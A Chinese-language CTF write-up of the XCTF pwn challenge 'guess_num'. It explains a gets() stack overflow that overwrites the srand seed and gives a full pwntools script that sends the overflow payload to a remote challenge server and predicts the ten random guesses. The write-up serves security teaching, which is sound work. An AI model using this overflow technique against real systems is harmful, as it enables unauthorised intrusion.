Featured image of post Pwn-guess_num

Pwn-guess_num

guess_num

来自 xctf 的题目
附件是一个猜数字的程序,只要猜错就会“GG”。

通过 file 查看该文件是 64 位 elf 文件,checksec 发现有堆栈金丝雀保护。
简单分析程序后直接上 ida pro 进行反汇编:

这里使用 srand() 和 rand() 获得伪随机数,如果成功获得就进入 sub_C3E() 里面有 system 函数获得 flag。
对此,我们需要得到种子,这里 seed[0] 存储种子,但是又发现种子是靠 sub_BB0() 函数获得的,而 sub_BB0() 靠 /dev/urandom 获得随机数,基本上就是说种子是随机的,那么随机数也大抵是很随机的……
不过呢,前面输入名字获得字符串使用的是 gets(),给了我们溢出覆盖空间的可能。
点击 v7 看看函数栈里面的布局,发现:
v7(var_30) 往下就是 seed 的空间,它们之间只差了 0x20 字节。显然我们可以通过 gets() 的漏洞改写 seed 内的数据。
改写了 seed 的数据就相当于我们可以自己定义种子,那么随机数也就能够知道了。
由此可以写 python 脚本开始 pwn!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("/lib/libc.so.6")
libc.srand(0)
r = remote("61.147.171.103", 59083)
payload = b'a' * (0x30 - 0x10) + p64(0)
r.sendlineafter("Your name:", payload)

for i in range(10):
    num = str(libc.rand() % 6 + 1).encode()
    r.sendlineafter("Please input your guess number:", num)

r.interactive()

这里使用 ctypes 来 python 内运行 srand 和 rand 函数。

1
libc = cdll.LoadLibrary("/lib/libc.so.6")

使用 libc 运行库,然后运行 srand(0) 种子。后面我们就是要将 seed 种子改写成 0。

1
payload = b'a' * (0x30 - 0x10) + p64(0)

攻击载荷显而易见,0x20 个 a 溢出,然后改写为 0。
这个载荷在输出 “Your name:” 之后注入。

最后是循环 10 次写入对应随机数,随机数计算如下

1
num = str(libc.rand() % 6 + 1).encode()

.encode() 方法把 str 转换为 byte 类型。
10 次结束都正确就进入 sub_C3E() 函数然后获得 flag ,pwn 成功。

萌ICP备20241614号